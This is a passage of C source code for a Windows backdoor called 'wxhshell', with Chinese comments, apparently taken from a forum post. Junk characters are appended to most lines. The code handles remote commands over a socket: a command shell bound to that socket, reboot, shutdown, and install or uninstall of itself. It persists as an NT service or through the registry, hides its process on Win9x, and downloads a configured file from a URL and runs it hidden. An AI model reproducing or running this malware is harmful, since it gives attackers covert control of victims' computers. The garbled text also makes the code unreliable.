      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);   La9r  
    break; a&C.=  
  } 7lwTZ*rnY  
  // 安装 M'DWu|dIBA  
  case 'i': { sXiv,  
    if(Install()) * MEe,4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9s(i`RTM  
    else [A]Ca$':  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mpAHL(  
    break; q4k.f_{  
    } {c@G$  
  // 卸载 @UO}W_0ZD  
  case 'r': { }"n7~|  
    if(Uninstall()) qi&D+~Gv!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ib6(Bp9.L  
    else d/]|657u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k1#5nYN.  
    break; ljVIE/iq  
    } =e{.yggE  
  // 显示 wxhshell 所在路径 r1;e 0\?`  
  case 'p': { Yy hny[fa9  
    char svExeFile[MAX_PATH]; ;%W dvnW  
    strcpy(svExeFile,"\n\r"); .TJ">?  
      strcat(svExeFile,ExeFile); ddoFaQ8  
        send(wsh,svExeFile,strlen(svExeFile),0); 5,R`@&K3D  
    break; NF mc>0-  
    } p,;mYms  
  // 重启 \_ 9rr6^ "  
  case 'b': { L,$3Yj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O |WbFf  
    if(Boot(REBOOT)) pv&^D,H,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _f|/*. @Q  
    else { ,#d[ad<  
    closesocket(wsh); `eC+% O  
    ExitThread(0); O,|\"b1(  
    } 3cixQzb}u  
    break; (sCAR=5v\  
    } I+" lrU  
  // 关机 Xk,>l6 vc  
  case 'd': { ZdH1nX(Yh3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /c#l9&,  
    if(Boot(SHUTDOWN)) ! Mo`^ t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LG&5VxT=,<  
    else { ^C7C$TZS  
    closesocket(wsh); G6Nb{m  
    ExitThread(0); NAJVr}4f  
    } 7Cy<mS  
    break; #tDW!Xv?  
    } QPs:RhV7  
  // 获取shell c`jDW S  
  case 's': { 7$7n71o  
    CmdShell(wsh); YB5dnS"n  
    closesocket(wsh); \bold"  
    ExitThread(0); 3D_"y Z  
    break; ){ gAj  
  } M{E{NK  
  // 退出 NXI[q 'y  
  case 'x': { XYAmJ   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .S7:;%qL6  
    CloseIt(wsh); "SR5wr   
    break; [PWL<t::c  
    } 6/1$< !WH  
  // 离开 V`bs&5#Sx  
  case 'q': { ehT%s+aUw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7ZsA5%s=,  
    closesocket(wsh); -DCa   
    WSACleanup(); 4pPI'd&/7  
    exit(1); n8u*JeN  
    break; !ni>\lZ  
        } ]JMl|e  
  } Qn|+eLY  
  } Jhy(x1%  
OipqoI2  
  // 提示信息 p3yU:q#A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9$RI H\*  
} $iPP|Rw  
  } !h:  Q  
CVQB"L  
  return; _kN*e:t  
} W&C-/O,m  
Gx'TkU=  
// shell模块句柄 fu]N""~  
int CmdShell(SOCKET sock) ipjkZG@  
{ 3Aj*\e0t  
STARTUPINFO si; o`6|ba  
ZeroMemory(&si,sizeof(si)); }l;Lxb2`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3n48%5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }ZzLs/v%X  
PROCESS_INFORMATION ProcessInfo; u|fXP)>.  
char cmdline[]="cmd"; ]db@RbaH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kg>>D  
  return 0; K5k?H  
} h{_*oBa  
H l<$a"K7\  
// 自身启动模式 f$F*3  
int StartFromService(void)  'Cc(3  
{ Ns=AjhLc z  
typedef struct ZnfNQl[  
{ v>m n/a  
  DWORD ExitStatus; XUmR{A  
  DWORD PebBaseAddress; aE/D*.0NI  
  DWORD AffinityMask; lddp^ #f  
  DWORD BasePriority; cdTsRS;E  
  ULONG UniqueProcessId; XsL#;a C  
  ULONG InheritedFromUniqueProcessId; xs!p|  
}   PROCESS_BASIC_INFORMATION; JhX=l-?  
ln<]-)&C  
PROCNTQSIP NtQueryInformationProcess; Xy7Z38G  
jd:B \%#![  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1RqgMMJL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,t,wy37*D  
Zj VWxQ  
  HANDLE             hProcess; L1 #Ij#  
  PROCESS_BASIC_INFORMATION pbi; bx}fj#J]En  
p#@Z$gTH`'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O#_b7i  
  if(NULL == hInst ) return 0; <Kt3PyF  
`xz&Scil  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \x+3f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tju|UhP3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &`!^Zq vG  
aGoE,5  
  if (!NtQueryInformationProcess) return 0; 7r 0,> 3"  
0KvVw rWJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,1 UZv>}S  
  if(!hProcess) return 0; Qa`hR  
^b-18 ~s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m,_d^  
nII^mg~  
  CloseHandle(hProcess); sl|_=oXT  
B0Xl+JIR#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); glUo7^ay7  
if(hProcess==NULL) return 0; nH[+n `{o  
 ux-CpI  
HMODULE hMod; !#x=JX  
char procName[255]; q/gB<p9  
unsigned long cbNeeded; G/?~\ }:s  
<{J5W6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); " I+p  
-?a<qa?$  
  CloseHandle(hProcess); GWP dv  
p>*i$  
if(strstr(procName,"services")) return 1; // 以服务启动 P?ep]  
Re= WfG  
  return 0; // 注册表启动 q4 k@l  
} e@]Wh)  
pa<qZZ  
// 主模块 #kmh:P  
int StartWxhshell(LPSTR lpCmdLine) _GoVx=t   
{ N{C;~'M2ce  
  SOCKET wsl; H+C6[W=  
BOOL val=TRUE; L;6.r3bL  
  int port=0; #AViM_u  
  struct sockaddr_in door; olYsT**'  
V H^AcO  
  if(wscfg.ws_autoins) Install(); A( d5G^  
ktH8as^54!  
port=atoi(lpCmdLine); g:#d l\k  
M>H=z#C>/A  
if(port<=0) port=wscfg.ws_port; my.`k'  
W WG /k17  
  WSADATA data; 'mMjjG9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }_OM$nzj  
fI|[Z+"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *nTU# U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (lH,JX`$a  
  door.sin_family = AF_INET; NAFsFngqH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &tI#T)SSs  
  door.sin_port = htons(port); k|E]YvnfG  
0ZI(/r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !~iGu\y  
closesocket(wsl); vS?odqi#n  
return 1; IB5BO7J  
} n!ok?=(kQ  
!K0JV|-?t  
  if(listen(wsl,2) == INVALID_SOCKET) { <vc`^Q&4B  
closesocket(wsl); 3I=kr  
return 1; XhW %,/<  
} M8;lLcgu.  
  Wxhshell(wsl); uG J"!K  
  WSACleanup(); oQ2KW..q  
<:;^'x>!  
return 0; hfM;/  
nBLj [  
} ]s1 YaNq  
a P()|js  
// 以NT服务方式启动 A.%CAGU5w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B |{I:[  
{ 3:CO{=`\7B  
DWORD   status = 0; "HIXm  
  DWORD   specificError = 0xfffffff; 2j&@ p>  
>yK0iK{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =tdSq"jh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m}Y0xV9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fnu"*5bE  
  serviceStatus.dwWin32ExitCode     = 0; sq0 PBEqq  
  serviceStatus.dwServiceSpecificExitCode = 0; <G3&z#]#4  
  serviceStatus.dwCheckPoint       = 0; .0y%5wz8j  
  serviceStatus.dwWaitHint       = 0; ~Pf5ORoe  
r.3KPiYK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /.Jb0h[W1  
  if (hServiceStatusHandle==0) return; *,WP,-0  
dE=Ue#1U@5  
status = GetLastError(); )ZR+lX }  
  if (status!=NO_ERROR) %@J1]E;  
{ "5|Lz)=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6L4$vJ  
    serviceStatus.dwCheckPoint       = 0; M:SO2Czz  
    serviceStatus.dwWaitHint       = 0; vA%^`5  
    serviceStatus.dwWin32ExitCode     = status; \F6LZZ2Lv  
    serviceStatus.dwServiceSpecificExitCode = specificError; c| ~6Ie  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e 9$C#D> D  
    return; %Z]'!X  
  } d5j_6X  
le>Wm&E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m~l F`?  
  serviceStatus.dwCheckPoint       = 0; qoU3"8  
  serviceStatus.dwWaitHint       = 0; df*w>xS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y&J@?Hc>  
} /X8 <C=}  
|QZ 58)>  
// 处理NT服务事件,比如:启动、停止 ' P"g\;Ij  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [IBQvL  
{ aw $L$7b}  
switch(fdwControl) %:C ]7gQ  
{ r64u31.)  
case SERVICE_CONTROL_STOP: ! T9]/H?  
  serviceStatus.dwWin32ExitCode = 0; Yxd X#3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C*70;:b  
  serviceStatus.dwCheckPoint   = 0; dKhA$f~  
  serviceStatus.dwWaitHint     = 0; C*6S@4k  
  { IO$z%r7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  b`mj_b  
  } }ynT2a#LU'  
  return; E8}+k o  
case SERVICE_CONTROL_PAUSE: !b|'Vp^U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D^F{u Dlb  
  break; W  0[N0c  
case SERVICE_CONTROL_CONTINUE: JqUADm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &Vk; VM`5  
  break; =H5\$&xj4.  
case SERVICE_CONTROL_INTERROGATE: alFjc.~}  
  break; c@m5 ~  
}; u b?K,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hq>Csj==@  
} g=)J~1&p  
<g2_6C\j  
// 标准应用程序主函数 n]!fO 6kj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mry N}  
{  $6>?;  
L):qu  
// 获取操作系统版本 LxN*)[Wb  
OsIsNt=GetOsVer(); 4/> Our 5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2s ,8R  
P* #8 ZMA<  
  // 从命令行安装 +{`yeZ9S  
  if(strpbrk(lpCmdLine,"iI")) Install(); w=b(X q+:  
XAOak$(j  
  // 下载执行文件  3yS  
if(wscfg.ws_downexe) { ni CE\B~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JN3cg  
  WinExec(wscfg.ws_filenam,SW_HIDE); ``Q 2P%  
} 7YIK9edP  
D@YP7  
if(!OsIsNt) { cd@.zg'sYn  
// 如果时win9x,隐藏进程并且设置为注册表启动 8%{q%+  
HideProc(); !UBO_X%dz  
StartWxhshell(lpCmdLine); V1=*z  
} =H]F`[B=  
else "kW!{n  
  if(StartFromService()) wzcai 0y*  
  // 以服务方式启动 USML~]G z  
  StartServiceCtrlDispatcher(DispatchTable); v[k5.\No  
else \&xl{64  
  // 普通方式启动 J QKdW  
  StartWxhshell(lpCmdLine); V2&^!#=s  
dG'SZ&<  
return 0; 7LZ^QC  
}
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只看该作者 1 发表于: 2006-10-10
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